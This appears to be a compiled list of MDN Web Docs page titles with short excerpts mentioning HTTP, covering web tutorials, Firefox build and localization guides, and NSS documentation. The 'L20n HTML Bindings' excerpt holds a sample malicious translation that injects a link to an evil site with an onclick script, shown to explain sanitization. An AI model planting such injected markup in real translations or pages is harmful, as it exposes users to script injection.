World Wide Web - MDN Web Docs Glossary: Definitions of Web-related terms
the system we know today as "the web" consists of several components: the http protocol governs data transfer between a server and a client.
beacon - MDN Web Docs Glossary: Definitions of Web-related terms
there is a w3c draft beacon specification to standardize the beacon as an interface to asynchronously transfer http data from user agent to a web server prior to page load without negative performance impact.
Challenge-response authentication - MDN Web Docs Glossary: Definitions of Web-related terms
the http authentication protocol is challenge-response based, though the "basic" protocol isn't using a real challenge (the realm is always the same).
Prerender - MDN Web Docs Glossary: Definitions of Web-related terms
<link rel="prerender" href="https://example.com/content/to/prerender"> see also prefetch ...
User agent - MDN Web Docs Glossary: Definitions of Web-related terms
along with each request they make to the server, browsers include a self-identifying user-agent http header called a user agent (ua) string.
About Scriptable Interfaces - Interfaces
most of the information of this document is based on http://www.mozilla.org/scriptable/ and creating xpcom components scriptable interfaces interfaces allow xpcom components to expose their functionality to the outside world while hiding the inner details of the component implementation.
CSS and JavaScript accessibility best practices - Learn web development
links hyperlinks — the way you get to new places on the web: <p>visit the <a href="https://www.mozilla.org">mozilla homepage</a>.</p> some very simple link styling is shown below: a { color: #ff0000; } a:hover, a:visited, a:focus { color: #a60000; text-decoration: none; } a:active { color: #000000; background-color: #a60000; } the standard link conventions are underlined and a different color (default: blue) in their standard state, another color variation when the li...
Attribute selectors - Learn web development
[attr=value] a[href="https://example.com"] matches elements with an attr attribute whose value is exactly value — the string inside the quotes.
Test your skills: Selectors - Learn web development
target the <a> element with an href value starting with https and give it a green border (border-color: green).
CSS selectors - Learn web development
h1 { } it also includes selectors which target a class: .box { } or, an id: #unique { } attribute selectors this group of selectors gives you different ways to select elements based on the presence of a certain attribute on an element: a[title] { } or even make a selection based on the presence of an attribute with a particular value: a[href="https://example.com"] { } pseudo-classes and pseudo-elements this group of selectors includes pseudo-classes, which style certain states of an element.
Styling tables - Learn web development
first, add the following <link> element into your html head, just above your existing <link> element: <link href='https://fonts.googleapis.com/css?family=rock+salt' rel='stylesheet' type='text/css'> now add the following css into your style.css file, below the previous addition: /* typography */ html { font-family: 'helvetica neue', helvetica, arial, sans-serif; } thead th, tfoot th { font-family: 'rock salt', cursive; } th { letter-spacing: 2px; } td { letter-spacing: 1px; } tbody td { text-alig...
Normal Flow - Learn web development
overflowing inline elements will <span>wrap onto a new line if possible (like this one containing text)</span>, or just go on to a new line if not, much like this image will do: <img src="https://udn.realityripple.com/samples/9e/6ff6af6fd4.jpg"></p> body { width: 500px; margin: 0 auto; } p { background: rgba(255,84,104,0.3); border: 2px solid rgb(255,84,104); padding: 10px; margin: 10px; } span { background: white; border: 1px solid black; } summary now that you understand normal flow, and how the browser lays things out by default, move on to understand how to ...
Getting started with CSS - Learn web development
in the text is a <span>span element</span> and also a <a href="http://example.com">link</a>.</p> <p>this is the second paragraph.
CSS FAQ - Learn web development
LearnCSSHowtoCSS FAQ
given that each modern browser uses an html5 parser, this is the recommended doctype */ <!doctype html public "-//w3c//dtd html 4.0 transitional//en" "http://www.w3.org/tr/html4/loose.dtd"> <!doctype html public "-//w3c//dtd html 4.01//en" "http://www.w3.org/tr/html4/strict.dtd"> <!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd"> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> when at all possible, you should just...
Using CSS generated content - Learn web development
this rule adds a space and an icon after every link that has the class glossary: html <a href="developer.mozilla.org" class="glossary">developer.mozilla.org</a> css a.glossary::after { content: " " url("https://mdn.mozillademos.org/files/16322/glossary-icon.gif"); } ...
What are hyperlinks? - Learn web development
back in 1989, tim berners-lee, the web's inventor, spoke of the three pillars on which the web stands: url, an address system that keeps track of web documents http, a transfer protocol to find documents when given their urls html, a document format allowing for embedded hyperlinks as you can see in the three pillars, everything on the web revolves around documents and how to access them.
Common questions - Learn web development
with hypertext and http, url is a key concept when it comes to the internet.
The HTML5 input types - Learn web development
the browser will report an error if no protocol (such as http:) is entered, or if the url is otherwise malformed.
How to build custom form controls - Learn web development
if you are lost with px to em conversion, try http://riddle.pl/emcalc/ */ font-size : 0.625em; /* this (10px) is the new font size context for em value in this context */ font-family : verdana, arial, sans-serif; box-sizing : border-box; /* we need extra room for the down arrow we will add */ padding : .1em 2.5em .2em .5em; width : 10em; /* 100px */ border : .2em solid #000; border-radius : .4em; box-shadow : 0 ...
Web forms — Working with user data - Learn web development
sending forms through javascript this article looks at ways to use a form to assemble an http request and send it via custom javascript, rather than standard form submission.
CSS basics - Learn web development
it looks something like this: <link href="https://fonts.googleapis.com/css?family=open+sans" rel="stylesheet"> this code links your page to a style sheet that loads the open sans font family with your webpage.
HTML basics - Learn web development
wrap the text in an <a> element, as shown below: <a>mozilla manifesto</a> give the <a> element an href attribute, as shown below: <a href="">mozilla manifesto</a> fill in the value of this attribute with the web address that you want the link to link to: <a href="https://www.mozilla.org/about/manifesto/">mozilla manifesto</a> you might get unexpected results if you omit the https:// or http:// part, called the protocol, at the beginning of the web address.
Publishing your website - Learn web development
a domain name is the unique address where people find your website, such as http://www.mozilla.org or http://www.bbc.co.uk.
Define terms with HTML - Learn web development
</span> you can download it at <a href="http://www.mozilla.org">mozilla.org</a> </p> assistive technology can often use this attribute to find a text alternative to a given term.
Document and website structure - Learn web development
<!doctype html> <html> <head> <meta charset="utf-8"> <title>my page title</title> <link href="https://fonts.googleapis.com/css?family=open+sans+condensed:300|sonsie+one" rel="stylesheet" type="text/css"> <link rel="stylesheet" href="style.css"> <!-- the below three lines are a fix to get html5 semantic elements working in old versions of internet explorer--> <!--[if lt ie 9]> <script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.js"></script> <![e...
Marking up a letter - Learn web development
for the location that the links point to, you may use http://example.com as the url.
Test your skills: Links - Learn web development
the base url is https://www.google.co.uk, and the image search is located in a subdirectory called imghp.
Mozilla splash page - Learn web development
adding a video to the main article content just inside the <article> element (right below the opening tag), embed the youtube video found at https://www.youtube.com/watch?v=ojcncvb1olg, using the appropriate youtube tools to generate the code.
Choosing the right approach - Learn web development
single delayed operation repeating operation multiple sequential operations multiple simultaneous operations no yes (recursive callbacks) yes (nested callbacks) no code example an example that loads a resource via the xmlhttprequest api (run it live, and see the source): function loadasset(url, type, callback) { let xhr = new xmlhttprequest(); xhr.open('get', url); xhr.responsetype = type; xhr.onload = function() { callback(xhr.response); }; xhr.send(); } function displayimage(blob) { let objecturl = url.createobjecturl(blob); let image = document.createelement('img'); image.src = objecturl;...
Introduction to events - Learn web development
the http connect event docs provide a good example.
Video and Audio APIs - Learn web development
icon fonts are very cool for many reasons — cutting down on http requests because you don't need to download those icons as image files, great scalability, and the fact that you can use text properties to style them — like color and text-shadow.
Client-side web APIs - Learn web development
in this article, we'll explain the concept, and look at technologies that make it possible, such as xmlhttprequest and the fetch api.
Measuring performance - Learn web development
for example, bundling tools pack your code into single files to reduce the number of http requests or minifiers that remove all whitespace from your code to make the files smaller.
Multimedia: Images - Learn web development
for a more in-depth guide, see https://images.guide.
The business case for web performance - Learn web development
a performance budget is a set of limits that are set to specify limits, such as maximum number of http requests allowed, the maximum total size of all the assets combined, the minimum allowable fps on a specific device, etc, that must be maintained.
The "why" of web performance - Learn web development
as an example, consider the loading experience of cnn.com, which at the time of this writing had over 400 http requests with a file size of over 22.6mb.
Server-side website programming - Learn web development
the dynamic websites – server-side programming topic is a series of modules that show how to create dynamic websites; websites that deliver customised information in response to http requests.
Ember app structure and componentization - Learn web development
<button type="button" class="clear-completed"> clear completed </button> </footer> finally, the contents of application.hbs should be updated so that they call the appropriate components, like so: <section class="todoapp"> <h1>todos</h1> <header /> <todolist /> <footer /> </section> with these changes made, run npm start in your terminal again, then head over to http://localhost:4200 to ensure that the todo app still looks as it did before the refactor.
Accessibility in React - Learn web development
for a running live version, see https://mdn.github.io/todo-react-build/.
Beginning our React todo list - Learn web development
for a running live version, see https://mdn.github.io/todo-react-build/.
TypeScript support in Svelte - Learn web development
code along with us git clone the github repo (if you haven't already done it) with: git clone https://github.com/opensas/mdn-svelte-tutorial.git then to get to the current app state, run cd mdn-svelte-tutorial/07-typescript-support or directly download the folder's content: npx degit opensas/mdn-svelte-tutorial/07-typescript-support remember to run npm install && npm run dev to start your app in development mode.
Creating our first Vue component - Learn web development
for a running live version, see https://mdn.github.io/todo-vue/dist/.
Focus management with Vue refs - Learn web development
for a running live version, see https://mdn.github.io/todo-vue/dist/.
Handling common accessibility problems - Learn web development
if you have a single-page app with a main content panel that is regularly updated using xmlhttprequest or fetch, a screenreader user might miss those updates.
Implementing feature detection - Learn web development
or and not logic available — the other block applies the float layout if the flexbox properties are not available: @supports not (flex-flow: row) and (flex: 1) { /* rules in here */ } this may look a lot more convenient than the previous example — we can do all of our feature detection in css, no javascript required, and we can handle all the logic in a single css file, cutting down on http requests.
Handling common HTML and CSS problems - Learn web development
for example, see http://caniuse.com/#search=video (you just have to enter the feature you are searching for into the text box).
Command line crash course - Learn web development
try running this: curl /docs/web/api/fetch -l -i | grep location | awk '{ print "https://developer.mozilla.org" $2 }' your final output should look something like this: /docs/web/api/fetch /docs/web/api/globalfetch/globalfetch.fetch() /docs/web/api/globalfetch/fetch /docs/web/api/windoworworkerglobalscope/fetch by combining these commands we've customised the output to show the full urls that the mozilla server is redirecting through when we request the /docs/web/api/fetch url.
Learn web development
to copy the learning area repo to a folder called learning-area in the current location your command prompt/terminal is pointing to, use the following command: git clone https://github.com/mdn/learning-area you can now enter the directory and find the files you are after (either using your finder/file explorer or the cd command).
Accessibility Features in Firefox
accessibility compliance statement (section 508): http://www.mozilla.com/firefox/vpat.html ...
Embedding API for Accessibility
setboolpref("browser.accept.applets", acceptapplets); no scripts setboolpref("browser.accept.scripts", acceptscripts); no popup windows // turn window.open off for particular sites: user_pref("capability.policy.popupsites.sites", "http://www.annoyingsite1.com http://www.popupsite2.com"); user_pref("capability.policy.popupsites.windowinternal.open","noaccess"); // or turn it off everywhere: user_pref("capability.policy.default.windowinternal.open","noaccess"); // override popping up new wi...
Gecko info for Windows accessibility vendors
ajax: asynchronous javascript and xml ajax is a method of building interactive web applications that process user requests, user actions immediately in real time, unlike an http request, during which users must wait for a whole page to reload or for a new page to load.
Browser chrome tests
if you are adding the first tests in a directory, make sure to also include any head.js you added to support-files, and additionally, ensure that your browser.ini is referenced by a moz.build file somewhere, such as: browser_chrome_manifests += [ 'test/functional/mochitest/browser.ini' ] support-files once added to support-file section of browser.ini support files may be referenced as https://example.com/browser/[path_to_file] or chrome://mochitests/content/browser/[path_to_file].
What to do and what not to do in Bugzilla
mozilla applications like the application suite, thunderbird, or firefox share most of their program code and all of the backend code including things like network connectivity (ftp, http, imap) and html rendering.
Creating a Firefox sidebar
see also bootstrap addon demo which adds a sidebar with browser for html content: https://gist.github.com/noitidart/8728393 ...
Creating a Language Pack
$ make wget-en-us en_us_binary_url=http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-mozilla-aurora if you're building on mac 64 bit, you'll need to change the command slightly: $ make wget-en-us en_us_binary_url=http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-mozilla-aurora moz_pkg_platform=mac at some point, you should see the following success message: downloaded http://ftp.mozilla.org/pub/mozilla.o...
Creating a Login Manager storage module
guments); }, getalldisabledhosts: function slms_getalldisabledhosts(count) { this.stub(arguments); }, getloginsavingenabled: function slms_getloginsavingenabled(hostname) { this.stub(arguments); }, setloginsavingenabled: function slms_setloginsavingenabled(hostname, enabled) { this.stub(arguments); }, findlogins: function slms_findlogins(count, hostname, formsubmiturl, httprealm) { this.stub(arguments); }, countlogins: function slms_countlogins(ahostname, aformsubmiturl, ahttprealm) { this.stub(arguments); } }; function nsgetmodule(compmgr, filespec) xpcomutils.generatemodule([sampleloginmanagerstorage]); sample c++ implementation bug 309807 contains a complete example.
Creating a spell check dictionary add-on
<?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>locale-code@dictionaries.addons.mozilla.org</em:id> <em:version>version number</em:version> <em:type>64</em:type> <em:unpack>true</em:unpack> <em:name>name</em:name> <!-- other install.rdf metadata such as e...
Creating reftest-based unit tests
references http://old.nabble.com/please-add-%22in-testsuite-%22-to-layout-bugs-when-resolving-them!-td7787412.html further documentation: layout/tools/reftest/readme.txt ...
Debugging Frame Reflow
log file analysis the log file for a simple table like <!doctype html public "-//w3c//dtd html 4.01 transitional//en"> <html> <head> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> </head> <body> <table width="100"> <tbody> <tr> <td>foo</td> </tr> </tbody> </table> </body> </html> will create the following log: vp 00b97c30 r=0 a=9180,4470 c=9180,4470 cnt=856 scroll 00b97ee0 r=0 a=9180,4470 c=9180,4470 cnt=857 scroll 00b97ee0 r=0 a=9180,4470 c=9180,4470 cnt=858 canvas 00b97c6c r=0 a=9180,u...
Debugging
http logging how to log http network traffic for debugging purposes.
Building Firefox with Debug Symbols
see https://dxr.mozilla.org/mozilla/source/toolkit/crashreporter/tools/upload_symbols.sh for more information about the environment variables used by this target.
Configuring Build Options
for information on installing and configuring mozconfigwrapper, see https://github.com/ahal/mozconfigwrapper.
Makefile - variables
todo: xpcom/xpinstall variables: https://developer.mozilla.org/en/adding_xpcom_components_to_mozilla_build_system ...
Linux Prerequisites
doc moved in-tree https://firefox-source-docs.mozilla.org/setup/linux_build.html ...
Building Firefox for macOS
moved in-tree: https://firefox-source-docs.mozilla.org/setup/macos_build.html ...
Linux build preparation
documentation moved in-tree: https://firefox-source-docs.mozilla.org/setup/linux_build.html ...
Building Firefox
page moved in-tree https://firefox-source-docs.mozilla.org/contributing/contribution_quickref.html ...
Simple SeaMonkey build
# get the source # for aurora, use https://hg.mozilla.org/releases/comm-aurora/ and comm-aurora instead # for beta, use https://hg.mozilla.org/releases/comm-beta/ and comm-beta instead # for release, use https://hg.mozilla.org/releases/comm-release/ and comm-release instead hg clone https://hg.mozilla.org/comm-central/ cd comm-central python client.py checkout # set up a basic .mozconfig file echo 'ac_add_options --enable-application=...
Simple Sunbird build
# get the source hg clone http://hg.mozilla.org/comm-central/ cd comm-central python client.py checkout # setup a basic .mozconfig file echo 'ac_add_options --enable-application=calendar' > .mozconfig # let's build sunbird...
Building Firefox for Windows
documentation moved in-tree: https://firefox-source-docs.mozilla.org/setup/windows_build.html ...
Eclipse CDT
in the window that opens, click "add", and in the prompt set name to something like "nightly" and location to something like "http://download.eclipse.org/tools/cd...s/juno/nightly" (change "juno" to the current developer branch).
Eclipse CDT Manual Setup
in cdt 8.3 (unreleased as of august 2013), there will be a more user-friendly way to specify this (see http://wiki.eclipse.org/cdt/user/newin83#toolchains).
Contributing to the Mozilla code base
here are some further resources to help: ask for help in a comment on the bug, or in #introduction:mozilla.org or #developers:mozilla.org check out https://developer.mozilla.org/docs/developer_guide and its parent document, https://developer.mozilla.org/docs/mozilla our reviewer checklist is very useful, if you have a patch near completion, and seek a favorable review utilize our build tool mach, its linting, static analysis, and other code checking features step 3: get your code reviewed once you fix the bug, you can advance to having your ...
Reviewer Checklist
also test with oom-fennec (https://hg.mozilla.org/users/blassey_mozilla.com/oom-fennec/)].
Runtime Directories
~/.thunderbird/xxxxxxxx.default/ (or ~/.mozilla-thunderbird/xxxxxxxx.default/ on debian/ubuntu) n/d see also https://support.mozilla.org/kb/profiles-where-firefox-stores-user-data#w_how-do-i-find-my-profile https://support.mozilla.org/kb/profiles-tb#w_where-is-my-profile-stored http://kb.mozillazine.org/profile_folder ...
mach
yes, the mach core is in mozilla-central inside the python/mach directory and available on pypi at https://pypi.python.org/pypi/mach/.
Error codes returned by Mozilla APIs
(for example, an http redirect occurred).
Linux compatibility matrix
the table is generated with the script and data in https://github.com/glandium/firefox-linux-compat-matrix ...
Cross Process Object Wrappers
see also: https://mikeconley.ca/blog/2015/02/17/on-unsafe-cpow-usage-in-firefox-desktop-and-why-is-my-nightly-so-sluggish-with-e10s-enabled/ http://blog.lassey.us/2015/01/10/unsafe-cpow-usage/ ...
Firefox UI considerations for web developers
usa today the only icon provided by usa today is its classic favicon: <link rel="shortcut icon" href="https://www.gannett-cdn.com/sites/usatoday/images/favicon.png"> since no rich icon is available, firefox creates a screenshot of the home page rendered 560 pixels wide.
HTMLIFrameElement.getStructuredData()
d',function() { var request = browser.getstructureddata(); request.onsuccess = function() { console.log(request.result); } }); running this code in a browser api app and then loading up a page that contains microdata (such as the website of british alt-country band salter cane) will result in a json object being returned, along the lines of: { "items": [ { "type":["http://microformats.org/profile/hcard"], "properties":{"fn":["chris askew"], "n":[ { "properties": { "given-name":["chris"], "family-name":["askew"], ...
mozbrowserloadend
when the front page of https://developer.mozilla.org is loaded, for example, the e.detail.backgroundcolor value reported is rgb(0, 83, 159).
Browser API
mozbrowserusernameandpasswordrequired sent when an http authentification is requested.
Embedding Tips
for example, if you wanted to check the server response headers, you might check onstatechange for state_start | state_is_request flags, and from the nsirequest argument qi fornsihttpchanne and call methods on that to determine response codes and other information from the server.
Roll your own browser: An embedding how-to
uses gtkmozembed widget, part of the kdebindings module and available from http://websvn.kde.org/trunk/kde/kdebindings/xparts/.
Getting Started with Chat
please see https://wiki.mozilla.org/matrix for up-to-date information.
How test harnesses work
python runner the python runner: sets up the testing environment sets up environment variables (mozrunner, currently) creates a profile (mozprofile via mozrunner) sets appropriate test preferences inserts a shim extension in the profile (for non-marionette tests) gathers the tests (manifestdestiny) potentially sets up an http server for test data (mozhttpd) invokes the binary (mozrunner) it is the job of the shim extension to shut down the browser logging (mozlog, in theory) (run tests, accrue results) cleanup: shutdown the browser check for crashes (mozcrash) reporting (moztest) marionette tests list of testing extensions pageloader (talos) mochitest: //github.com/realityripple/...
How to get a process dump with Windows Task Manager
you can find the latest trunk nightly builds under http://ftp.mozilla.org/pub/mozilla.o.../latest-trunk/.
How to implement a custom autocomplete search component
so, get a uuid from http://www.famkruithof.net/uuid/uuidgen, for example, and paste it in.
Integrated Authentication
the preferences are: pref("network.negotiate-auth.trusted-uris", site-list); pref("network.negotiate-auth.delegation-uris", site-list); pref("network.automatic-ntlm-auth.trusted-uris", site-list); where, site-list is a comma-separated list of url prefixes or domains of the form: site-list = "mydomain.com, https://myotherdomain.com" network.negotiate-auth.trusted-uris lists the sites that are permitted to engage in spnego authentication with the browser, and network.negotiate-auth.delegation-uris lists the sites for which the browser may delegate user authorization to the server.
Add-on Manager
these will pass an addoninstall instance to the callback, which can then be used to install the add-on: components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getinstallforurl("http://www.foo.com/test.xpi", function(ainstall) { // ainstall is an instance of addoninstall ainstall.install(); }, "application/x-xpinstall"); the progress of addoninstalls can be monitored using an installlistener.
DownloadSource
referrer read only string referrer uri of the download source, or null if no referrer should be sent or the download source is not http.
FxAccountsProfileClient.jsm
examples using the fxaccountsprofileclient chrome code let client = new fxaccountsprofileclient({ serverurl: "https://profile.accounts.firefox.com/v1", token: "fxa_oauth_bearer_token", }); client.fetchprofile().then(profile => console.log(profile)); error handling the fxaccountsprofileclient.jsm normalizes request and client errors into fxaccountsprofileclienterror object.
Interfacing with the Add-on Repository
ponents.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.nsiprefservice); var prefbranch = prefsservice.getbranch("extensions."); var recurl = ""; try { recurl = prefbranch.getcharpref("getaddons.recommended.url"); } catch(e) { recurl = ""; } if (recurl == "") { prefbranch.setcharpref("getaddons.recommended.url", "https://services.addons.mozilla.org/%locale%/%app%/api/%api_version%/list/recommended/all/%max_results%/%os%/%version%?src=firefox"); prefsservice.savepreffile(null); } this fetches the value of the extensions.getaddons.recommended.url preference, and, if the preference doesn't exist or has no value, sets the value of the preference to the correct one for the amo site.
Webapps.jsm
otifyappsregistrystart() notifyappsregistryready: function notifyappsregistryready() sanitizeredirects: function sanitizeredirects(asource) _savewidgetsfullpath: function(amanifest, adestapp) appkind: function(aapp, amanifest) updatepermissionsforapp: function(aid, aispreinstalled) updateofflinecacheforapp: function(aid) installpreinstalledapp: function installpreinstalledapp(aid) removeifhttpsduplicate: function(aid) installsystemapps: function() loadandupdateapps: function() updatedatastore: function(aid, aorigin, amanifesturl, amanifest) _registersystemmessagesforentrypoint: function(amanifest, aapp, aentrypoint) _registerinterappconnectionsforentrypoint: function(amanifest, aapp,) _registersystemmessages: function(amanifest, aapp) _registerinterappconnections: function(amani...
openLocationLastURL.jsm
using the openlocationlasturl object to get or set the value of the open location edit box, simply read the value of, or set the value of, the openlocationlasturl.value field: var url = openlocationlasturl.value; openlocationlasturl.value = "http://www.mozilla.org/"; to reset the value of the edit box to the default (which is an empty string), you can call the reset() method: method overview reset() methods reset the reset() method resets the saved url to the default, which is an empty string.
Index
3 bootstrapping a new locale localization, mercurial, translate, bit bucket (see also https://developer.mozilla.org/en/create_a_new_localization) 4 encodings for localization files internationalization, localization when creating a localization for mozilla products, it’s important to be aware of the encoding of the files that you generate.
L10n Checks
the easiest way is to just run: $ hg clone http://hg.mozilla.org/users/akalla_aviary.pl/silme-patched/ $ cd silme-patched/ $ sudo python setup.py install or, if you're on windows: $ hg clone http://hg.mozilla.org/users/akalla_aviary.pl/silme-patched/ $ cd silme-patched/ $ python setup.py install running it mercurial source (source) mode l10n checks gathers the directories to compare from an ini file, usually found in $app/locales/l10n.ini.
Localization and Plurals
# see: https://developer.mozilla.org/docs/mozilla/localization/localization_and_plurals # #1 number of files # example: 111 files - downloads downloadstitlefiles=#1 file - downloads;#1 files - downloads # localization note (timepair): #1 time number; #2 time unit # example: 1 second; 11 seconds timepair=#1 #2 seconds=second;seconds minutes=minute;minutes hours=hour;hours downloads.js: components.utils.im...
Localizing XLIFF files for iOS
enter the command git clone https://github.com/mozilla-l10n/firefoxios-l10n/your-locale-code/ you should now see the firefox-ios project in your selected directoy with the firefox-ios.xliff file in it.
Localizing extension descriptions
the following example demonstrates this (most normal manifest properties have been removed for brevity): <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>tabsidebar@blueprintit.co.uk</em:id> <em:localized> <description> <em:locale>de-de</em:locale> <em:name>tab sidebar</em:name> <em:description>zeigt in einer sidebar vorschaubilder der inhalte aller offenen ta...
Patching a Localization
cd ~/localization-workdir clone the localization repository for your locale and for the version you want to patch: hg clone http://hg.mozilla.org/releases/l10n/mozilla-aurora/gl now that you have the code and your working directory, edit the dtd and properties files to make your necessary changes.
Uplifting a localization from Central to Aurora
i use kdiff3; you may choose your own based on what you read at http://mercurial.selenic.com/wiki/mergeprogram a clone of your central repo.
What every Mozilla translator should know
in this case the resultant installable file will be available in the mozilla ftp servers: firefox nightly builds thunderbird nightly builds qa (quality assurance) in order to assure the quality of a build we should make some tests using http://litmus.mozilla.org ...
Localization at Mozilla
l10n documentation has moved to https://mozilla-l10n.github.io/localizer-documentation/ .
Basics
chy='false'>(</mo> <mi>i</mi> <mi>z</mi> <mo stretchy='false'>)</mo> <msup> <mrow> <mo>(</mo> <mo>-</mo> <mi>z</mi> <mo>)</mo> </mrow> <mi>&alpha;</mi> </msup> </mrow> <mrow> <msup> <mi>e</mi> <mrow> <mn>2</mn> <mi>&pi;</mi> <mi>z</mi> </mrow> </msup> <mo>-</mo> <mn>1</mn> </mrow> </mfrac> </mrow> <mi>d</mi> <mi>z</mi> </mrow> </math> css content [class="background"] { background-image: url(http://www.mozilla.org/images/mozilla-banner.gif); opacity: 0.2; position: absolute; left: 0; width: 100%; height: 58px; } ...
Fonts for Mozilla 2.0's MathML engine
mathml font selection with css you can get these fonts from the mathml-fonts add-on ; the xpi is just a zip archive that you can fetch and extract for example with the following command: wget https://addons.mozilla.org/firefox/downloads/latest/367848/addon-367848-latest.xpi -o mathml-fonts.zip; \ unzip mathml-fonts.zip -d mathml-fonts then copy the mathml-fonts/resource/ directory somewhere on your web site and ensure that the woff files are served with the correct mime type.
MathML Demo: <mfrac> - fractions
(</mo> <mi>i</mi> <mi>z</mi> <mo stretchy='false'>)</mo> <msup> <mrow> <mo>(</mo> <mo>-</mo> <mi>z</mi> <mo>)</mo> </mrow> <mi>&alpha;</mi> </msup> </mrow> <mrow> <msup> <mi>e</mi> <mrow> <mn>2</mn> <mi>&pi;</mi> <mi>z</mi> </mrow> </msup> <mo>-</mo> <mn>1</mn> </mrow> </mfrac> </mrow> <mi>d</mi> <mi>z</mi> </mrow> </math> css content [class="background"] { background-image: url(http://www.mozilla.org/images/mozilla-banner.gif); opacity: 0.2; position: absolute; left: 0; width: 100%; height: 58px; } ...
Gecko Profiler FAQ
for example, see julian’s great investigation on the impact of cache line sharing across multiple cores on jemalloc’s multi-core performance in https://bugzilla.mozilla.org/show_bug.cgi?id=1291355#c26.
Investigating CSS Performance
http://people.mozilla.org/~jmuizelaar/css-perf.patch this patch instruments a bunch of key places and should give an estimate of the order of magnitude of the different parents.
Leak-hunting strategies and tips
getting symbol information for system libraries windows setting the environment variable _nt_symbol_path to something like symsrv*symsrv.dll*f:\localsymbols*http://msdl.microsoft.com/download/symbols as described in microsoft's article.
Memory Profiler
contribute the memory profiler project page is at https://wiki.mozilla.org/memoryprofiler.
Profiling with Concurrency Visualizer - Performance
here are some scripts that you can be used for manipulating the profiles that have been exported to csv: https://github.com/jrmuizel/concurrency-visualizer-scripts ...
Profiling with Xperf
the standard symbol path that includes both mozilla's and microsoft's symbol server configuration is as follows: _nt_symcache_path: c:\symbols _nt_symbol_path: srv*c:\symbols*http://msdl.microsoft.com/download/symbols;srv*c:\symbols*http://symbols.mozilla.org/firefox/ to add symbols from your own builds, add c:\path\to\objdir\dist\bin to _nt_symbol_path.
Profiling with Zoom
you can get the profiler from here: http://www.rotateright.com/ ...
Profiling with the Gecko Profiler and Local Symbols on Windows
generate the breakpad symbol files by running ./mach buildsymbols: https://developer.mozilla.org/en/building_firefox_with_debug_symbols#breakpad_symbol_files this will have created symbols under $objdir/dist/ , named after the binary name, architecture and version, so something like "firefox-40.0a1.en-us-win32.crashreporter-symbols.zip" point talos to this zipfile by passing its path to the --symbolspath flag.
Reporting a Performance Problem
visit https://profiler.firefox.com/ click on "enable profiler menu button" the profiler toolbar button will show up in the top right of the url bar as a small stopwatch icon you can right-click on the button and remove it from the toolbar when you're done with it.
Phishing: a short definition
this too, includes missing https or ev certificate indicators in a browser’s navigation bar.
javascript.options.strict
(default) see also: http://kb.mozillazine.org/javascript.options.strict ...
nglayout.debug.disable_xul_cache
(default) see also: http://kb.mozillazine.org/nglayout.debug.disable_xul_cache ...
Preference reference
in the foreground or keep focus on the current tab and open it in the background.browser.urlbar.formatting.enabledthe preference browser.urlbar.formatting.enabled controls whether the domain name including the top level domain is highlighted in the address bar by coloring it black and the other parts grey.browser.urlbar.trimurlsthe preference browser.urlbar.trimurls controls whether the protocol http and the trailing slash behind domain name (if the open page is exactly the domain name) are hidden.dom.event.clipboardevents.enableddom.event.clipboardevents.enabled lets websites get notifications if the user copies, pastes, or cuts something from a web page, and it lets them know which part of the page had been selected.
Preferences system
reference information about them is available below: preferences system documentation: introduction: getting started | examples | troubleshooting reference: prefwindow | prefpane | preferences | preference | xul attributes use code for a typical preferences window may look like this: <prefwindow id="apppreferences" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <prefpane id="pane1" label="&pane1.title;"> <preferences> <preference id="pref1" name="pref.name" type="bool"/> </preferences> ..
Installing JSHydra
cd $home/jshydra hg clone http://hg.mozilla.org/users/pidgeot18_gmail.com/jshydra/ cd jshydra ./configure make # run jshydra tests make check processing input files jshydra requires the files it processes to be correct js files.
L20n HTML Bindings
consider the following source html: <p data-l10n-id="save"> <input type="submit"> <a href="/main" class="btn-cancel"></a> </p> assume the following malicious translation: <save """ <input value="save" type="text"> or <a href="http://myevilwebsite.com" onclick="alert('pwnd!')" title="back to the homepage">cancel</a>.
Leak And Bloat Tests
code locations the files specific to leak and bloat testing are be stored in: http://mxr.mozilla.org/comm-central/source/mailnews/test/performance these files consist of: overlays (used to provide the hooks for the javascript): bloat/bloataddroverlay.xul bloat/bloatcomposeoverlay.xul bloat/bloatmainoverlay.xul javascript files (used to drive the tests): bloat/bloataddroverlay.js bloat/bloatcomposeoverlay.js bloat/bloatmainoverlay.js preference settings (used to provide ...
NSPR build instructions
build the libraries build the test programs for example, # check out the source tree from mercurial hg clone https://hg.mozilla.org/projects/nspr # create a build directory mkdir target.debug cd target.debug # run the configure script ../nspr/configure [optional configure options] # build the libraries gmake # build the test programs cd pr/tests gmake on mac os x, use make, which is gnu make.
Optimizing Applications For NSPR
win-16 http://www.sybase.com/products/languages/watccpl.html the win-16 port is unique in the nspr world in that it uses the watcom development environment.
NSPR release process
upload a source tar file to https://ftp.mozilla.org/pub/mozilla....nspr/releases/ write the release notes.
An overview of NSS Internals
if you must support proxies in your application, you are able to register your own implementation of an http request callback interface, and nss can use your application code that supports proxies.
Building NSS
to check out the latest sources for nss and nspr--which may not be part of a stable release--use the following commands: hg clone https://hg.mozilla.org/projects/nspr hg clone https://hg.mozilla.org/projects/nss to get the source of a specific release, see nss releases.
NSS Certificate Download Specification
importing certificates into mozilla browsers mozilla browsers import certificates found in http protocol responses.
Encrypt Decrypt MAC Keys As Session Objects
if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/.
Encrypt and decrypt MAC using token
if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/.
4.3.1 Release Notes
